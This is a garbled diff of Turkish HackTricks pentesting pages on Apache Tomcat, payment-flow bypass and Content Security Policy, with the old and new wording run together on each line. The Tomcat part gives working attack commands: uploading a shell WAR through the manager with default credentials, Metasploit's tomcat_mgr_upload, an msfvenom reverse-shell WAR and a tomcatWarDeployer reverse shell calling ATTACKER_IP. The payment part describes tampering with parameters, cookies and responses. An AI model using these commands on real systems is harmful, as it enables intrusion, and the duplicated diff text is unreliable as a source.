Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırmaya ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Apache Tomcat sürümleri 4.x ile 7.x arasında, bilgi sızdırmaya ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -107,7 +107,7 @@ Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırmaya ve cross-site scriptin
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **Yol Geçişi Sömürüsü** ### **Yol Gezintisi Sömürüsü**
Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz. Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz.
@ -121,7 +121,7 @@ Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyas
### Sınırlamalar ### Sınırlamalar
Yeterli ayrıcalıklarınız varsa (roller: **admin**, **manager** ve **manager-script**), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü). Yeterli ayrıcalıklara (roller: **admin**, **manager** ve **manager-script**) sahipseniz yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -132,8 +132,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit ### Metasploit
Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Birçok sızma testi işlemini otomatikleştirmek için kullanılır. Metasploit, hedef sistemlere saldırmak için kullanılan exploitlerin veritabanını içerir. Bu exploitler, zayıf noktaları hedeflemek ve sistemlere erişim sağlamak için kullanılır. Metasploit ayrıca payloadlar içerir, bu da hedef sistemlere zararlı yazılım enjekte etmek için kullanılır.
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -144,7 +142,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### MSFVenom Ters Kabuk ### MSFVenom Ters Kabuk
1. Dağıtmak için war dosyası oluşturun: 1. Yayınlamak için war dosyası oluşturun:
```bash ```bash
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
@ -158,7 +156,7 @@ Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri)
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### Ters Kabuk #### Ters kabuk
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
@ -203,7 +201,7 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
### Manuel Yöntem 2 ### El ile Yöntem 2
Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun: Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun:
```bash ```bash
@ -234,18 +232,18 @@ msf> use post/windows/gather/enum_tomcat
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>A'dan Z'ye AWS hackleme konusunda</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile öğrenin!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**. * **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f) katılın** veya [telegram grubuna](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**. * **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna PR gönderin](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna PR gönderin](https://github.com/carlospolop/hacktricks-cloud)**. * **Hacking püf noktalarınızı paylaşarak [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek katkıda bulunun.**
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -52,7 +52,7 @@ Tomcat'ı root olarak çalıştırmamak için oldukça yaygın bir yapılandırm
* `bin` klasörü, bir Tomcat sunucusunu başlatmak ve çalıştırmak için gereken betikleri ve ikili dosyaları depolar. * `bin` klasörü, bir Tomcat sunucusunu başlatmak ve çalıştırmak için gereken betikleri ve ikili dosyaları depolar.
* `conf` klasörü, Tomcat tarafından kullanılan çeşitli yapılandırma dosyalarını depolar. * `conf` klasörü, Tomcat tarafından kullanılan çeşitli yapılandırma dosyalarını depolar.
* `tomcat-users.xml` dosyası, kullanıcı kimlik bilgilerini ve atanan rolleri depolar. * `tomcat-users.xml` dosyası, kullanıcı kimlik bilgilerini ve atanan rolleri depolar.
* `lib` klasörü, Tomcat'ın doğru şekilde çalışması için gereken çeşitli JAR dosyalarını içerir. * `lib` klasörü, Tomcat'ın doğru şekilde çalışabilmesi için gereken çeşitli JAR dosyalarını içerir.
* `logs` ve `temp` klasörleri geçici günlük dosyalarını depolar. * `logs` ve `temp` klasörleri geçici günlük dosyalarını depolar.
* `webapps` klasörü, Tomcat'ın varsayılan web kök dizinidir ve tüm uygulamaları barındırır. `work` klasörü bir önbellek olarak işlev görür ve çalışma zamanında verileri depolamak için kullanılır. * `webapps` klasörü, Tomcat'ın varsayılan web kök dizinidir ve tüm uygulamaları barındırır. `work` klasörü bir önbellek olarak işlev görür ve çalışma zamanında verileri depolamak için kullanılır.
@ -94,11 +94,11 @@ Uygulama tarafından kullanılan tüm derlenmiş sınıflar `WEB-INF/classes` kl
</servlet-mapping> </servlet-mapping>
</web-app> </web-app>
``` ```
Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın diskteki yolu şöyle olacaktır: Yukarıdaki `web.xml` yapılandırması, **`AdminServlet` adında yeni bir servlet** tanımlar ve **`com.inlanefreight.api.AdminServlet` sınıfına** eşlenir. Java, paket adları oluşturmak için nokta notasyonunu kullanır, yukarıda tanımlanan sınıfın disk üzerindeki yolu şöyle olacaktır:
* **`classes/com/inlanefreight/api/AdminServlet.class`** * **`classes/com/inlanefreight/api/AdminServlet.class`**
Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşleyen yeni bir servlet eşlemesi oluşturulur**. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği `AdminServlet.class` sınıfına** işlemek üzere gönderecektir. **`web.xml`** açıklaması, bir **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken kontrol edilmesi gereken önemli bir dosyadır**. Daha sonra, **`/admin` isteklerini `AdminServlet` ile eşlemek** için yeni bir servlet eşlemesi oluşturulur. Bu yapılandırma, **`/admin` için alınan herhangi bir isteği `AdminServlet.class` sınıfına** işlemek üzere gönderecektir. **`web.xml`** açıklaması, bir **Yerel Dosya Dahil Etme (LFI) zafiyetinden yararlanırken** kontrol edilmesi gereken önemli ve **duyarlı bilgiler** içeren bir dosyadır.
### tomcat-users ### tomcat-users
@ -143,7 +143,7 @@ will also need to set the passwords to something appropriate.
</tomcat-users> </tomcat-users>
``` ```
Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` rollerinin her birinin erişim sağladığı şeyleri göstermektedir. Bu örnekte, `tomcat` kullanıcısının şifresi `tomcat` olan `manager-gui` rolüne sahip olduğunu ve ikinci zayıf şifrenin `admin` kullanıcı hesabı için ayarlandığını görebiliriz. Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` rollerinin her birinin erişim sağladığı şeyleri göstermektedir. Bu örnekte, `tomcat` kullanıcısının şifresi `tomcat` olan `manager-gui` rolüne sahip olduğunu ve `admin` kullanıcı hesabı için ikinci zayıf şifrenin `admin` olarak ayarlandığını görebiliriz.
## Referanslar ## Referanslar
@ -151,6 +151,18 @@ Dosya, `manager-gui`, `manager-script`, `manager-jmx` ve `manager-status` roller
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
* **Bir ** **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)'e göz atın
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya katkıda bulunun.**
</details>

View file

@ -16,41 +16,41 @@ HackTricks'ı desteklemenin diğer yolları:
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## Ödeme Sürecini Atlatma Teknikleri ## Ödeme Atlatma Teknikleri
### İstek Yakalama ### İstek Yakalama
İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, genellikle işlem durumunu gösteren **Başarılı**, isteğin kaynağına işaret edebilecek **Referrer** ve işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için genellikle kullanılan **Callback** gibi önemli etkilere sahip parametreleri arayın. İşlem süreci sırasında istemci ve sunucu arasında değişen verileri izlemek son derece önemlidir. Bu, tüm istekleri yakalayarak yapılabilir. Bu istekler içinde, genellikle işlem durumunu gösteren **Başarılı**, isteğin kaynağını işaret edebilecek **Referrer** ve işlem tamamlandıktan sonra kullanıcıyı yönlendirmek için kullanılan **Callback** gibi önemli etkilere sahip parametreleri arayın.
### URL Analizi ### URL Analizi
Özellikle _example.com/payment/MD5HASH_ desenini takip eden bir URL içeren bir parametreyle karşılaşırsanız, bu daha yakından incelenmelidir. İşte adım adım bir yaklaşım: Özellikle _example.com/payment/MD5HASH_ desenini takip eden bir URL içeren bir parametreyle karşılaşırsanız, bu daha yakından incelenmelidir. İşte adım adım bir yaklaşım:
1. **URL'yi Kopyala**: Parametre değerinden URL'yi çıkarın. 1. **URL'yi Kopyala**: Parametre değerinden URL'yi çıkarın.
2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu eylem, işlemin sonucunu anlamak için kritiktir. 2. **Yeni Pencere İncelemesi**: Kopyalanan URL'yi yeni bir tarayıcı penceresinde açın. Bu işlem, işlem sonucunu anlamak için kritiktir.
### Parametre Manipülasyonu ### Parametre Manipülasyonu
1. **Parametre Değerlerini Değiştirme**: _Success_, _Referrer_ veya _Callback_ gibi parametrelerin değerlerini değiştirerek deney yapın. Örneğin, bir parametreyi `false`dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini bazen ortaya çıkarabilir. 1. **Parametre Değerlerini Değiştirme**: _Success_, _Referrer_ veya _Callback_ gibi parametrelerin değerlerini değiştirerek deney yapın. Örneğin, bir parametreyi `false`dan `true`'ya değiştirmek, sistemin bu girdileri nasıl işlediğini bazen ortaya çıkarabilir.
2. **Parametreleri Kaldırma**: Belirli parametreleri tamamen kaldırmayı deneyerek sistemin nasıl tepki verdiğini görmek için deney yapın. Beklenen parametreler eksik olduğunda bazı sistemler yedek planları veya varsayılan davranışları olabilir. 2. **Parametreleri Kaldırma**: Belirli parametreleri tamamen kaldırmayı deneyerek sistemin nasıl tepki verdiğini görmek için deney yapın. Beklenen parametreler eksik olduğunda bazı sistemler yedek planları veya varsayılan davranışları olabilir.
### Çerez Oynama ### Çerez Manipülasyonu
1. **Çerezleri İnceleme**: Birçok web sitesi önemli bilgileri çerezlerde saklar. Bu çerezleri ödeme durumu veya kullanıcı kimlik doğrulamasıyla ilgili veriler açısından inceleyin. 1. **Çerezleri İnceleme**: Birçok web sitesi önemli bilgileri çerezlerde saklar. Bu çerezleri ödeme durumu veya kullanıcı kimlik doğrulamasıyla ilgili veriler açısından inceleyin.
2. **Çerez Değerlerini Değiştirme**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtını veya davranışını nasıl değiştirdiğini gözlemleyin. 2. **Çerez Değerlerini Değiştirme**: Çerezlerde saklanan değerleri değiştirin ve web sitesinin yanıtını veya davranışını nasıl değiştirdiğini gözlemleyin.
### Oturum Kaçırma ### Oturum Kaçırma
1. **Oturum Belirteçleri**: Ödeme sürecinde oturum belirteçleri kullanılıyorsa, bunları yakalamayı ve manipüle etmeyi deneyin. Bu, oturum yönetimi açıklarına dair içgörüler sağlayabilir. 1. **Oturum Belirteçleri**: Ödeme sürecinde oturum belirteçleri kullanılıyorsa, bunları yakalamayı ve manipüle etmeyi deneyin. Bu, oturum yönetimi açıklarına dair içgörüler sağlayabilir.
### Yanıt Oynama ### Yanıt Manipülasyonu
1. **Yanıtları Yakalama**: Araçlar kullanarak sunucudan gelen yanıtları yakalayın ve analiz edin. Başarılı bir işlemi gösterebilecek veya ödeme sürecindeki bir sonraki adımları ortaya çıkarabilecek herhangi bir veriyi arayın. 1. **Yanıtları Yakalama**: Araçlar kullanarak sunucudan gelen yanıtları yakalayın ve analiz edin. Başarılı bir işlemi gösterebilecek veya ödeme sürecindeki bir sonraki adımları ortaya çıkarabilecek herhangi bir veriyi arayın.
2. **Yanıtları Değiştirme**: Tarayıcı veya uygulama tarafından işlenmeden önce yanıtları değiştirmeye çalışarak başarılı bir işlem senaryosunu simüle etmeye çalışın. 2. **Yanıtları Değiştirme**: Tarayıcı veya uygulama tarafından işlenmeden önce yanıtları değiştirmeye çalışarak başarılı bir işlem senaryosunu simüle etmeye çalışın.
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun.
@ -18,11 +18,11 @@ HackTricks'ı desteklemenin diğer yolları:
Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın! Deneyimli hackerlar ve ödül avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
**Hackleme İçgörüleri**\ **Hacking İçgörüleri**\
Hackleme heyecanını ve zorluklarını ele alan içeriklerle etkileşime geçin Hacking'in heyecanını ve zorluklarını inceleyen içeriklerle etkileşime geçin
**Gerçek Zamanlı Hack Haberleri**\ **Gerçek Zamanlı Hack Haberleri**\
Hızlı tempolu hackleme dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerle güncel kalın
**En Son Duyurular**\ **En Son Duyurular**\
Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi sahibi olun Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bilgi sahibi olun
@ -31,11 +31,11 @@ Yeni ödül avı başlatmaları ve önemli platform güncellemeleri hakkında bi
## CSP Nedir ## CSP Nedir
İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcının güvenli bir şekilde yüklenen kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi öğeyi kapsar. Örneğin, bir politika aynı etki alanından (self), içerideki kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla dize kodunun yüklenmesini ve yürütülmesini izin verebilir. İçerik Güvenlik Politikası (CSP), başlıca olarak **çapraz site komut dosyası (XSS) gibi saldırılara karşı koruma sağlamayı amaçlayan bir tarayıcı teknolojisi** olarak kabul edilir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi bir dizi öğeyi kapsar. Örneğin, bir politika aynı etki alanından (self), iç içe kaynaklardan ve `eval`, `setTimeout` veya `setInterval` gibi işlevler aracılığıyla dize kodunun yüklenmesine ve yürütülmesine izin verebilir.
CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya HTML sayfasına **meta öğeleri ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller. CSP'nin uygulanması **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeler ekleyerek** gerçekleştirilir. Bu politikaya göre, tarayıcılar bu şartları proaktif olarak uygular ve tespit edilen ihlalleri derhal engeller.
* Yanıt başlığı aracılığıyla uygulanır: * Yanıt başlığı aracılığıyla uygulanmıştır:
``` ```
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
``` ```
@ -48,11 +48,11 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
CSP, bu başlıklar kullanılarak zorunlu kılınabilir veya izlenebilir: CSP, bu başlıklar kullanılarak zorunlu kılınabilir veya izlenebilir:
* `Content-Security-Policy`: CSP'yi zorunlu kılar; tarayıcı herhangi bir ihlali engeller. * `Content-Security-Policy`: CSP'yi zorunlu kılar; tarayıcı herhangi bir ihlali engeller.
* `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir. * `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Üretim öncesi ortamlarda test etmek için idealdir.
### Kaynakları Tanımlama ### Kaynakları Tanımlama
CSP, etkin ve pasif içeriklerin yüklenmesi için kökenleri kısıtlar ve iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle belirlenebilir: CSP, etkin ve pasif içeriklerin yüklenmesi için kökenleri kısıtlar, iç içe JavaScript yürütme ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika şöyle tanımlanır:
```bash ```bash
default-src 'none'; default-src 'none';
img-src 'self'; img-src 'self';
@ -64,16 +64,16 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net; media-src https://videos.cdn.mozilla.net;
object-src 'none'; object-src 'none';
``` ```
### Direktifler ### Yönergeler
* **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, iç içe betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil. * **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, iç içe betikler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen betikler dahil.
* **default-src**: Belirli getirme direktifleri yokken kaynakları getirmek için varsayılan bir politika belirler. * **default-src**: Belirli getirme yönergeleri olmadığında kaynakları getirmek için varsayılan bir politika belirler.
* **child-src**: Web işçileri ve gömülü çerikler için izin verilen kaynakları belirtir. * **child-src**: Web işçileri ve gömülü çerikler için izin verilen kaynakları belirtir.
